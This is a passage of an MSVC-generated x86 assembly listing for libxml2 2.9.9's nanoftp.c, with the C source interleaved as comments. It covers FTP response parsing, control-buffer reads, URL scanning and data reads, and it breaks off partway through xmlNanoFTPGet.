cmp DWORD PTR [ebx+44], -1
je $LN9@xmlNanoFTP
; 566 :
; 567 : if ((ctxt->controlBufIndex < 0) || (ctxt->controlBufIndex > FTP_BUF_SIZE)) {
mov ecx, DWORD PTR [ebx+1088]
cmp ecx, 1024 ; 00000400H
ja $LN9@xmlNanoFTP
; 568 : #ifdef DEBUG_FTP
; 569 : xmlGenericError(xmlGenericErrorContext,
; 570 : "xmlNanoFTPGetMore : controlBufIndex = %d\n",
; 571 : ctxt->controlBufIndex);
; 572 : #endif
; 573 : return(-1);
; 574 : }
; 575 :
; 576 : if ((ctxt->controlBufUsed < 0) || (ctxt->controlBufUsed > FTP_BUF_SIZE)) {
mov eax, DWORD PTR [ebx+1092]
cmp eax, 1024 ; 00000400H
ja $LN9@xmlNanoFTP
; 577 : #ifdef DEBUG_FTP
; 578 : xmlGenericError(xmlGenericErrorContext,
; 579 : "xmlNanoFTPGetMore : controlBufUsed = %d\n",
; 580 : ctxt->controlBufUsed);
; 581 : #endif
; 582 : return(-1);
; 583 : }
; 584 : if (ctxt->controlBufIndex > ctxt->controlBufUsed) {
cmp ecx, eax
jg $LN9@xmlNanoFTP
; 585 : #ifdef DEBUG_FTP
; 586 : xmlGenericError(xmlGenericErrorContext,
; 587 : "xmlNanoFTPGetMore : controlBufIndex > controlBufUsed %d > %d\n",
; 588 : ctxt->controlBufIndex, ctxt->controlBufUsed);
; 589 : #endif
; 590 : return(-1);
; 591 : }
; 592 :
; 593 : /*
; 594 : * First pack the control buffer
; 595 : */
; 596 : if (ctxt->controlBufIndex > 0) {
lea esi, DWORD PTR [ebx+60]
test ecx, ecx
jle SHORT $LN67@xmlNanoFTP
; 597 : memmove(&ctxt->controlBuf[0], &ctxt->controlBuf[ctxt->controlBufIndex],
sub eax, ecx
push eax
lea eax, DWORD PTR [esi+ecx]
push eax
push esi
call _memmove
; 598 : ctxt->controlBufUsed - ctxt->controlBufIndex);
; 599 : ctxt->controlBufUsed -= ctxt->controlBufIndex;
mov eax, DWORD PTR [ebx+1088]
add esp, 12 ; 0000000cH
sub DWORD PTR [ebx+1092], eax
; 600 : ctxt->controlBufIndex = 0;
xor ecx, ecx
mov eax, DWORD PTR [ebx+1092]
mov edi, eax
mov DWORD PTR [ebx+1088], 0
mov DWORD PTR $T1[ebp], edi
jmp SHORT $LN27@xmlNanoFTP
$LN67@xmlNanoFTP:
mov edi, eax
mov DWORD PTR $T1[ebp], eax
$LN27@xmlNanoFTP:
; 601 : }
; 602 : size = FTP_BUF_SIZE - ctxt->controlBufUsed;
mov edx, 1024 ; 00000400H
sub edx, eax
; 603 : if (size == 0) {
jne SHORT $LN28@xmlNanoFTP
; 604 : #ifdef DEBUG_FTP
; 605 : xmlGenericError(xmlGenericErrorContext,
; 606 : "xmlNanoFTPGetMore : buffer full %d \n", ctxt->controlBufUsed);
; 607 : #endif
; 608 : return(0);
xor eax, eax
jmp SHORT $LN19@xmlNanoFTP
$LN28@xmlNanoFTP:
; 609 : }
; 610 :
; 611 : /*
; 612 : * Read the amount left on the control connection
; 613 : */
; 614 : if ((len = recv(ctxt->controlFd, &ctxt->controlBuf[ctxt->controlBufIndex],
; 615 : size, 0)) < 0) {
push 0
push edx
lea eax, DWORD PTR [esi+ecx]
push eax
push DWORD PTR [ebx+44]
call DWORD PTR __imp__recv@16
test eax, eax
js $LN64@xmlNanoFTP
; 619 : return(-1);
; 620 : }
; 621 : #ifdef DEBUG_FTP
; 622 : xmlGenericError(xmlGenericErrorContext,
; 623 : "xmlNanoFTPGetMore : read %d [%d - %d]\n", len,
; 624 : ctxt->controlBufUsed, ctxt->controlBufUsed + len);
; 625 : #endif
; 626 : ctxt->controlBufUsed += len;
add DWORD PTR [ebx+1092], eax
mov ecx, DWORD PTR [ebx+1092]
; 627 : ctxt->controlBuf[ctxt->controlBufUsed] = 0;
mov BYTE PTR [ecx+esi], 0
; 628 :
; 629 : return(len);
mov edi, DWORD PTR [ebx+1092]
mov DWORD PTR $T1[ebp], edi
$LN19@xmlNanoFTP:
; 647 :
; 648 : get_more:
; 649 : /*
; 650 : * Assumes everything up to controlBuf[controlBufIndex] has been read
; 651 : * and analyzed.
; 652 : */
; 653 : len = xmlNanoFTPGetMore(ctx);
; 654 : if (len < 0) {
; 655 : return(-1);
; 656 : }
; 657 : if ((ctxt->controlBufUsed == 0) && (len == 0)) {
test edi, edi
jne SHORT $LN11@xmlNanoFTP
test eax, eax
je $LN9@xmlNanoFTP
$LN11@xmlNanoFTP:
; 658 : return(-1);
; 659 : }
; 660 : ptr = &ctxt->controlBuf[ctxt->controlBufIndex];
mov eax, DWORD PTR [ebx+1088]
; 661 : end = &ctxt->controlBuf[ctxt->controlBufUsed];
add esi, edi
add eax, 60 ; 0000003cH
add eax, ebx
; 662 :
; 663 : #ifdef DEBUG_FTP
; 664 : xmlGenericError(xmlGenericErrorContext,
; 665 : "\n<<<\n%s\n--\n", ptr);
; 666 : #endif
; 667 : while (ptr < end) {
cmp eax, esi
jae $LN3@xmlNanoFTP
$LL2@xmlNanoFTP:
; 668 : cur = xmlNanoFTPParseResponse(ptr, end - ptr);
mov ecx, esi
sub ecx, eax
; 531 : if (len < 3) return(-1);
cmp ecx, 3
jl SHORT $LN62@xmlNanoFTP
; 532 : if ((*buf >= '0') && (*buf <= '9'))
mov dl, BYTE PTR [eax]
mov cl, dl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN62@xmlNanoFTP
; 533 : val = val * 10 + (*buf - '0');
; 534 : else
; 535 : return(0);
; 536 : buf++;
; 537 : if ((*buf >= '0') && (*buf <= '9'))
mov ch, BYTE PTR [eax+1]
mov cl, ch
movsx edx, dl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN62@xmlNanoFTP
; 538 : val = val * 10 + (*buf - '0');
; 539 : else
; 540 : return(0);
; 541 : buf++;
; 542 : if ((*buf >= '0') && (*buf <= '9'))
mov bl, BYTE PTR [eax+2]
mov cl, bl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN62@xmlNanoFTP
; 543 : val = val * 10 + (*buf - '0');
movsx ecx, ch
lea edx, DWORD PTR [edx+edx*4]
lea ecx, DWORD PTR [ecx+edx*2]
lea edx, DWORD PTR [ecx+ecx*4]
movsx ecx, bl
lea ecx, DWORD PTR [ecx+edx*2]
add ecx, -5328 ; ffffeb30H
; 544 : else
; 545 : return(0);
; 546 : buf++;
; 547 : if (*buf == '-')
cmp BYTE PTR [eax+3], 45 ; 0000002dH
jne SHORT $LN39@xmlNanoFTP
; 548 : return(-val);
neg ecx
$LN39@xmlNanoFTP:
; 669 : if (cur > 0) {
test ecx, ecx
jg SHORT $LN46@xmlNanoFTP
$LN62@xmlNanoFTP:
; 682 : }
; 683 : while ((ptr < end) && (*ptr != '\n')) ptr++;
cmp eax, esi
jae SHORT $LN47@xmlNanoFTP
npad 1
$LL6@xmlNanoFTP:
mov dl, BYTE PTR [eax]
cmp dl, 10 ; 0000000aH
je SHORT $LN7@xmlNanoFTP
inc eax
cmp eax, esi
jb SHORT $LL6@xmlNanoFTP
$LN47@xmlNanoFTP:
; 685 : ctxt->controlBufIndex = ctxt->controlBufUsed;
mov ebx, DWORD PTR _ctx$[ebp]
mov eax, DWORD PTR $T1[ebp]
mov DWORD PTR [ebx+1088], eax
; 686 : goto get_more;
jmp $get_more$71
$LN7@xmlNanoFTP:
; 684 : if (ptr >= end) {
cmp eax, esi
jae SHORT $LN47@xmlNanoFTP
; 662 :
; 663 : #ifdef DEBUG_FTP
; 664 : xmlGenericError(xmlGenericErrorContext,
; 665 : "\n<<<\n%s\n--\n", ptr);
; 666 : #endif
; 667 : while (ptr < end) {
cmp dl, 13 ; 0000000dH
lea ecx, DWORD PTR [eax+1]
cmove ecx, eax
mov eax, ecx
cmp eax, esi
jb $LL2@xmlNanoFTP
; 647 :
; 648 : get_more:
; 649 : /*
; 650 : * Assumes everything up to controlBuf[controlBufIndex] has been read
; 651 : * and analyzed.
; 652 : */
; 653 : len = xmlNanoFTPGetMore(ctx);
; 654 : if (len < 0) {
; 655 : return(-1);
; 656 : }
; 657 : if ((ctxt->controlBufUsed == 0) && (len == 0)) {
mov ebx, DWORD PTR _ctx$[ebp]
$LN3@xmlNanoFTP:
; 687 : }
; 688 : if (*ptr != '\r') ptr++;
; 689 : }
; 690 :
; 691 : if (res < 0) goto get_more;
mov ecx, DWORD PTR _res$1$[ebp]
test ecx, ecx
js $get_more$71
; 692 : ctxt->controlBufIndex = ptr - ctxt->controlBuf;
sub eax, ebx
sub eax, 60 ; 0000003cH
mov DWORD PTR [ebx+1088], eax
; 693 : #ifdef DEBUG_FTP
; 694 : ptr = &ctxt->controlBuf[ctxt->controlBufIndex];
; 695 : xmlGenericError(xmlGenericErrorContext, "\n---\n%s\n--\n", ptr);
; 696 : #endif
; 697 :
; 698 : #ifdef DEBUG_FTP
; 699 : xmlGenericError(xmlGenericErrorContext, "Got %d\n", res);
; 700 : #endif
; 701 : return(res / 100);
mov eax, 1374389535 ; 51eb851fH
imul ecx
pop edi
sar edx, 5
mov eax, edx
shr eax, 31 ; 0000001fH
; 702 : }
pop esi
add eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN46@xmlNanoFTP:
; 670 : /*
; 671 : * Successfully scanned the control code, scratch
; 672 : * till the end of the line, but keep the index to be
; 673 : * able to analyze the result if needed.
; 674 : */
; 675 : res = cur;
; 676 : ptr += 3;
; 677 : ctxt->controlBufAnswer = ptr - ctxt->controlBuf;
mov ebx, DWORD PTR _ctx$[ebp]
add eax, 3
mov DWORD PTR _res$1$[ebp], ecx
mov ecx, eax
sub ecx, ebx
sub ecx, 60 ; 0000003cH
mov DWORD PTR [ebx+1096], ecx
; 678 : while ((ptr < end) && (*ptr != '\n')) ptr++;
cmp eax, esi
jae SHORT $LN69@xmlNanoFTP
npad 1
$LL4@xmlNanoFTP:
cmp BYTE PTR [eax], 10 ; 0000000aH
je SHORT $LN69@xmlNanoFTP
inc eax
cmp eax, esi
jb SHORT $LL4@xmlNanoFTP
$LN69@xmlNanoFTP:
; 679 : if (*ptr == '\n') ptr++;
mov dl, BYTE PTR [eax]
mov dh, dl
cmp dl, 10 ; 0000000aH
jne SHORT $LN13@xmlNanoFTP
mov dh, BYTE PTR [eax+1]
$LN13@xmlNanoFTP:
; 680 : if (*ptr == '\r') ptr++;
; 681 : break;
lea ecx, DWORD PTR [eax+1]
cmp dl, 10 ; 0000000aH
cmovne ecx, eax
cmp dh, 13 ; 0000000dH
lea eax, DWORD PTR [ecx+1]
cmovne eax, ecx
jmp SHORT $LN3@xmlNanoFTP
$LN64@xmlNanoFTP:
; 616 : __xmlIOErr(XML_FROM_FTP, 0, "recv failed");
push OFFSET ??_C@_0M@KMFGCEDE@recv?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 617 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [ebx+44]
call DWORD PTR __imp__closesocket@4
; 618 : ctxt->controlFd = INVALID_SOCKET;
mov DWORD PTR [ebx+44], -1
$LN9@xmlNanoFTP:
pop edi
; 702 : }
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPReadResponse ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPGetMore
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_xmlNanoFTPGetMore PROC ; COMDAT
; 560 : xmlNanoFTPGetMore(void *ctx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN3@xmlNanoFTP
; 561 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 562 : int len;
; 563 : int size;
; 564 :
; 565 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [esi+44], -1
je $LN3@xmlNanoFTP
; 566 :
; 567 : if ((ctxt->controlBufIndex < 0) || (ctxt->controlBufIndex > FTP_BUF_SIZE)) {
mov eax, DWORD PTR [esi+1088]
cmp eax, 1024 ; 00000400H
ja $LN3@xmlNanoFTP
; 568 : #ifdef DEBUG_FTP
; 569 : xmlGenericError(xmlGenericErrorContext,
; 570 : "xmlNanoFTPGetMore : controlBufIndex = %d\n",
; 571 : ctxt->controlBufIndex);
; 572 : #endif
; 573 : return(-1);
; 574 : }
; 575 :
; 576 : if ((ctxt->controlBufUsed < 0) || (ctxt->controlBufUsed > FTP_BUF_SIZE)) {
mov ecx, DWORD PTR [esi+1092]
cmp ecx, 1024 ; 00000400H
ja $LN3@xmlNanoFTP
; 577 : #ifdef DEBUG_FTP
; 578 : xmlGenericError(xmlGenericErrorContext,
; 579 : "xmlNanoFTPGetMore : controlBufUsed = %d\n",
; 580 : ctxt->controlBufUsed);
; 581 : #endif
; 582 : return(-1);
; 583 : }
; 584 : if (ctxt->controlBufIndex > ctxt->controlBufUsed) {
cmp eax, ecx
jg SHORT $LN3@xmlNanoFTP
; 585 : #ifdef DEBUG_FTP
; 586 : xmlGenericError(xmlGenericErrorContext,
; 587 : "xmlNanoFTPGetMore : controlBufIndex > controlBufUsed %d > %d\n",
; 588 : ctxt->controlBufIndex, ctxt->controlBufUsed);
; 589 : #endif
; 590 : return(-1);
; 591 : }
; 592 :
; 593 : /*
; 594 : * First pack the control buffer
; 595 : */
; 596 : if (ctxt->controlBufIndex > 0) {
test eax, eax
jle SHORT $LN9@xmlNanoFTP
; 597 : memmove(&ctxt->controlBuf[0], &ctxt->controlBuf[ctxt->controlBufIndex],
sub ecx, eax
add eax, 60 ; 0000003cH
push ecx
add eax, esi
push eax
lea eax, DWORD PTR [esi+60]
push eax
call _memmove
; 598 : ctxt->controlBufUsed - ctxt->controlBufIndex);
; 599 : ctxt->controlBufUsed -= ctxt->controlBufIndex;
mov eax, DWORD PTR [esi+1088]
add esp, 12 ; 0000000cH
sub DWORD PTR [esi+1092], eax
; 600 : ctxt->controlBufIndex = 0;
xor eax, eax
mov ecx, DWORD PTR [esi+1092]
mov DWORD PTR [esi+1088], 0
$LN9@xmlNanoFTP:
; 601 : }
; 602 : size = FTP_BUF_SIZE - ctxt->controlBufUsed;
mov edx, 1024 ; 00000400H
sub edx, ecx
; 603 : if (size == 0) {
jne SHORT $LN10@xmlNanoFTP
; 604 : #ifdef DEBUG_FTP
; 605 : xmlGenericError(xmlGenericErrorContext,
; 606 : "xmlNanoFTPGetMore : buffer full %d \n", ctxt->controlBufUsed);
; 607 : #endif
; 608 : return(0);
xor eax, eax
pop esi
; 630 : }
pop ebp
ret 0
$LN10@xmlNanoFTP:
; 609 : }
; 610 :
; 611 : /*
; 612 : * Read the amount left on the control connection
; 613 : */
; 614 : if ((len = recv(ctxt->controlFd, &ctxt->controlBuf[ctxt->controlBufIndex],
; 615 : size, 0)) < 0) {
push 0
add eax, 60 ; 0000003cH
push edx
add eax, esi
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__recv@16
mov ecx, eax
test ecx, ecx
jns SHORT $LN11@xmlNanoFTP
; 616 : __xmlIOErr(XML_FROM_FTP, 0, "recv failed");
push OFFSET ??_C@_0M@KMFGCEDE@recv?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 617 : closesocket(ctxt->controlFd); ctxt->controlFd = INVALID_SOCKET;
push DWORD PTR [esi+44]
call DWORD PTR __imp__closesocket@4
; 618 : ctxt->controlFd = INVALID_SOCKET;
mov DWORD PTR [esi+44], -1
$LN3@xmlNanoFTP:
; 630 : }
or eax, -1
pop esi
pop ebp
ret 0
$LN11@xmlNanoFTP:
; 619 : return(-1);
; 620 : }
; 621 : #ifdef DEBUG_FTP
; 622 : xmlGenericError(xmlGenericErrorContext,
; 623 : "xmlNanoFTPGetMore : read %d [%d - %d]\n", len,
; 624 : ctxt->controlBufUsed, ctxt->controlBufUsed + len);
; 625 : #endif
; 626 : ctxt->controlBufUsed += len;
add DWORD PTR [esi+1092], ecx
mov eax, DWORD PTR [esi+1092]
; 627 : ctxt->controlBuf[ctxt->controlBufUsed] = 0;
mov BYTE PTR [eax+esi+60], 0
; 628 :
; 629 : return(len);
mov eax, ecx
pop esi
; 630 : }
pop ebp
ret 0
_xmlNanoFTPGetMore ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPParseResponse
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_len$ = 12 ; size = 4
_xmlNanoFTPParseResponse PROC ; COMDAT
; 528 : xmlNanoFTPParseResponse(char *buf, int len) {
push ebp
mov ebp, esp
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _len$[ebp], 3
jge SHORT $LN2@xmlNanoFTP
; 529 : int val = 0;
; 530 :
; 531 : if (len < 3) return(-1);
or eax, -1
; 549 : return(val);
; 550 : }
pop ebp
ret 0
$LN2@xmlNanoFTP:
; 532 : if ((*buf >= '0') && (*buf <= '9'))
mov edx, DWORD PTR _buf$[ebp]
push ebx
mov cl, BYTE PTR [edx]
mov al, cl
sub al, 48 ; 00000030H
cmp al, 9
ja SHORT $LN3@xmlNanoFTP
; 536 : buf++;
; 537 : if ((*buf >= '0') && (*buf <= '9'))
mov ah, BYTE PTR [edx+1]
mov al, ah
movsx ecx, cl
sub al, 48 ; 00000030H
cmp al, 9
ja SHORT $LN3@xmlNanoFTP
; 538 : val = val * 10 + (*buf - '0');
; 539 : else
; 540 : return(0);
; 541 : buf++;
; 542 : if ((*buf >= '0') && (*buf <= '9'))
mov bl, BYTE PTR [edx+2]
mov al, bl
sub al, 48 ; 00000030H
cmp al, 9
ja SHORT $LN3@xmlNanoFTP
; 543 : val = val * 10 + (*buf - '0');
movsx eax, ah
lea ecx, DWORD PTR [ecx+ecx*4]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movsx eax, bl
lea eax, DWORD PTR [eax+ecx*2]
add eax, -5328 ; ffffeb30H
; 544 : else
; 545 : return(0);
; 546 : buf++;
; 547 : if (*buf == '-')
cmp BYTE PTR [edx+3], 45 ; 0000002dH
jne SHORT $LN11@xmlNanoFTP
; 548 : return(-val);
neg eax
pop ebx
; 549 : return(val);
; 550 : }
pop ebp
ret 0
$LN3@xmlNanoFTP:
; 533 : val = val * 10 + (*buf - '0');
; 534 : else
; 535 : return(0);
xor eax, eax
$LN11@xmlNanoFTP:
pop ebx
; 549 : return(val);
; 550 : }
pop ebp
ret 0
_xmlNanoFTPParseResponse ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPScanURL
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_URL$ = 12 ; size = 4
_xmlNanoFTPScanURL PROC ; COMDAT
; 293 : xmlNanoFTPScanURL(void *ctx, const char *URL) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN2@xmlNanoFTP
; 294 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 295 : xmlURIPtr uri;
; 296 :
; 297 : /*
; 298 : * Clear any existing data from the context
; 299 : */
; 300 : if (ctxt->protocol != NULL) {
; 301 : xmlFree(ctxt->protocol);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 302 : ctxt->protocol = NULL;
mov DWORD PTR [esi], 0
$LN2@xmlNanoFTP:
; 303 : }
; 304 : if (ctxt->hostname != NULL) {
mov eax, DWORD PTR [esi+4]
test eax, eax
je SHORT $LN3@xmlNanoFTP
; 305 : xmlFree(ctxt->hostname);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 306 : ctxt->hostname = NULL;
mov DWORD PTR [esi+4], 0
$LN3@xmlNanoFTP:
; 307 : }
; 308 : if (ctxt->path != NULL) {
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN4@xmlNanoFTP
; 309 : xmlFree(ctxt->path);
push eax
call DWORD PTR _xmlFree
add esp, 4
; 310 : ctxt->path = NULL;
mov DWORD PTR [esi+12], 0
$LN4@xmlNanoFTP:
; 311 : }
; 312 : if (URL == NULL) return;
mov eax, DWORD PTR _URL$[ebp]
test eax, eax
je $LN1@xmlNanoFTP
; 313 :
; 314 : uri = xmlParseURIRaw(URL, 1);
push edi
push 1
push eax
call _xmlParseURIRaw
mov edi, eax
add esp, 8
; 315 : if (uri == NULL)
test edi, edi
je $LN16@xmlNanoFTP
; 316 : return;
; 317 :
; 318 : if ((uri->scheme == NULL) || (uri->server == NULL)) {
mov eax, DWORD PTR [edi]
test eax, eax
je $LN8@xmlNanoFTP
cmp DWORD PTR [edi+12], 0
je $LN8@xmlNanoFTP
; 320 : return;
; 321 : }
; 322 :
; 323 : ctxt->protocol = xmlMemStrdup(uri->scheme);
push eax
call DWORD PTR _xmlMemStrdup
mov DWORD PTR [esi], eax
; 324 : ctxt->hostname = xmlMemStrdup(uri->server);
push DWORD PTR [edi+12]
call DWORD PTR _xmlMemStrdup
mov DWORD PTR [esi+4], eax
add esp, 8
; 325 : if (uri->path != NULL)
mov eax, DWORD PTR [edi+24]
test eax, eax
je SHORT $LN9@xmlNanoFTP
; 326 : ctxt->path = xmlMemStrdup(uri->path);
push eax
jmp SHORT $LN18@xmlNanoFTP
$LN9@xmlNanoFTP:
; 327 : else
; 328 : ctxt->path = xmlMemStrdup("/");
push OFFSET ??_C@_01KMDKNFGN@?1@
$LN18@xmlNanoFTP:
; 329 : if (uri->port != 0)
call DWORD PTR _xmlMemStrdup
mov DWORD PTR [esi+12], eax
add esp, 4
mov eax, DWORD PTR [edi+20]
test eax, eax
je SHORT $LN11@xmlNanoFTP
; 330 : ctxt->port = uri->port;
mov DWORD PTR [esi+8], eax
$LN11@xmlNanoFTP:
; 331 :
; 332 : if (uri->user != NULL) {
mov eax, DWORD PTR [edi+16]
test eax, eax
je SHORT $LN8@xmlNanoFTP
; 333 : char *cptr;
; 334 : if ((cptr=strchr(uri->user, ':')) == NULL)
push ebx
push 58 ; 0000003aH
push eax
call _strchr
mov ecx, DWORD PTR [edi+16]
mov ebx, eax
add esp, 8
test ebx, ebx
jne SHORT $LN13@xmlNanoFTP
; 335 : ctxt->user = xmlMemStrdup(uri->user);
push ecx
call DWORD PTR _xmlMemStrdup
add esp, 4
mov DWORD PTR [esi+16], eax
pop ebx
push edi
call _xmlFreeURI
add esp, 4
pop edi
pop esi
; 340 : }
; 341 : }
; 342 :
; 343 : xmlFreeURI(uri);
; 344 :
; 345 : }
pop ebp
ret 0
$LN13@xmlNanoFTP:
; 336 : else {
; 337 : ctxt->user = (char *)xmlStrndup((xmlChar *)uri->user,
mov eax, ebx
sub eax, ecx
push eax
push ecx
call _xmlStrndup
mov DWORD PTR [esi+16], eax
; 338 : (cptr - uri->user));
; 339 : ctxt->passwd = xmlMemStrdup(cptr+1);
lea eax, DWORD PTR [ebx+1]
push eax
call DWORD PTR _xmlMemStrdup
add esp, 12 ; 0000000cH
mov DWORD PTR [esi+20], eax
pop ebx
$LN8@xmlNanoFTP:
; 319 : xmlFreeURI(uri);
push edi
call _xmlFreeURI
add esp, 4
$LN16@xmlNanoFTP:
pop edi
$LN1@xmlNanoFTP:
pop esi
; 340 : }
; 341 : }
; 342 :
; 343 : xmlFreeURI(uri);
; 344 :
; 345 : }
pop ebp
ret 0
_xmlNanoFTPScanURL ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlFTPErrMemory
_TEXT SEGMENT
_extra$ = 8 ; size = 4
_xmlFTPErrMemory PROC ; COMDAT
; 167 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _extra$[ebp]
push 0
push 0
push 2
push 9
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 168 : __xmlSimpleError(XML_FROM_FTP, XML_ERR_NO_MEMORY, NULL, NULL, extra);
; 169 : }
pop ebp
ret 0
_xmlFTPErrMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPRead
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_dest$ = 12 ; size = 4
_len$ = 16 ; size = 4
_xmlNanoFTPRead PROC ; COMDAT
; 1969 : xmlNanoFTPRead(void *ctx, void *dest, int len) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je SHORT $LN10@xmlNanoFTP
; 1970 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1971 :
; 1972 : if (ctx == NULL) return(-1);
; 1973 : if (ctxt->dataFd == INVALID_SOCKET) return(0);
mov eax, DWORD PTR [esi+48]
cmp eax, -1
je SHORT $LN9@xmlNanoFTP
; 1974 : if (dest == NULL) return(-1);
mov ecx, DWORD PTR _dest$[ebp]
test ecx, ecx
je SHORT $LN10@xmlNanoFTP
; 1975 : if (len <= 0) return(0);
mov edx, DWORD PTR _len$[ebp]
test edx, edx
jle SHORT $LN9@xmlNanoFTP
; 1976 :
; 1977 : len = recv(ctxt->dataFd, dest, len, 0);
push edi
push 0
push edx
push ecx
push eax
call DWORD PTR __imp__recv@16
mov edi, eax
; 1978 : if (len <= 0) {
test edi, edi
jg SHORT $LN6@xmlNanoFTP
; 1979 : if (len < 0)
jns SHORT $LN7@xmlNanoFTP
; 1980 : __xmlIOErr(XML_FROM_FTP, 0, "recv failed");
push OFFSET ??_C@_0M@KMFGCEDE@recv?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
$LN7@xmlNanoFTP:
; 1981 : xmlNanoFTPCloseConnection(ctxt);
push esi
call _xmlNanoFTPCloseConnection
add esp, 4
$LN6@xmlNanoFTP:
; 1982 : }
; 1983 : #ifdef DEBUG_FTP
; 1984 : xmlGenericError(xmlGenericErrorContext, "Recvd %d bytes\n", len);
; 1985 : #endif
; 1986 : return(len);
mov eax, edi
pop edi
pop esi
; 1987 : }
pop ebp
ret 0
$LN9@xmlNanoFTP:
; 1975 : if (len <= 0) return(0);
xor eax, eax
pop esi
; 1987 : }
pop ebp
ret 0
$LN10@xmlNanoFTP:
; 1974 : if (dest == NULL) return(-1);
or eax, -1
pop esi
; 1987 : }
pop ebp
ret 0
_xmlNanoFTPRead ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPGet
_TEXT SEGMENT
_buf$ = -4364 ; size = 4096
_rfd$ = -268 ; size = 260
_tv$ = -8 ; size = 8
_ctx$ = 8 ; size = 4
_callback$ = 12 ; size = 4
_userData$ = 16 ; size = 4
_filename$ = 20 ; size = 4
_xmlNanoFTPGet PROC ; COMDAT
; 1902 : const char *filename) {
push ebp
mov ebp, esp
mov eax, 4364 ; 0000110cH
call __chkstk
push ebx
push esi
push edi
mov ecx, OFFSET __D3ED00D9_nanoftp@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
xor edi, edi
test esi, esi
je $LN41@xmlNanoFTP
; 1903 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1904 : char buf[4096];
; 1905 : int len = 0, res;
; 1906 : fd_set rfd;
; 1907 : struct timeval tv;
; 1908 :
; 1909 : if (ctxt == NULL) return(-1);
; 1910 : if ((filename == NULL) && (ctxt->path == NULL))
mov eax, DWORD PTR _filename$[ebp]
test eax, eax
jne SHORT $LN12@xmlNanoFTP
cmp DWORD PTR [esi+12], edi
je $LN41@xmlNanoFTP
$LN12@xmlNanoFTP:
; 1911 : return(-1);
; 1912 : if (callback == NULL)
mov ebx, DWORD PTR _callback$[ebp]
test ebx, ebx
je $LN41@xmlNanoFTP
; 1913 : return(-1);
; 1914 : if (xmlNanoFTPGetSocket(ctxt, filename) == INVALID_SOCKET)
push eax
push esi
call _xmlNanoFTPGetSocket
add esp, 8
cmp eax, -1
je $LN41@xmlNanoFTP
$LL4@xmlNanoFTP:
; 1915 : return(-1);
; 1916 :
; 1917 : do {
; 1918 : tv.tv_sec = 1;
; 1919 : tv.tv_usec = 0;
; 1920 : FD_ZERO(&rfd);
; 1921 : FD_SET(ctxt->dataFd, &rfd);
mov eax, DWORD PTR [esi+48]
; 1922 : res = select(ctxt->dataFd + 1, &rfd, NULL, NULL, &tv);
lea ecx, DWORD PTR _tv$[ebp]
push ecx
push 0
push 0
lea ecx, DWORD PTR _rfd$[ebp]
mov DWORD PTR _rfd$[ebp+4], eax
push ecx
inc eax
mov DWORD PTR _tv$[ebp], 1
push eax
mov DWORD PTR _tv$[ebp+4], 0
mov DWORD PTR _rfd$[ebp], 1
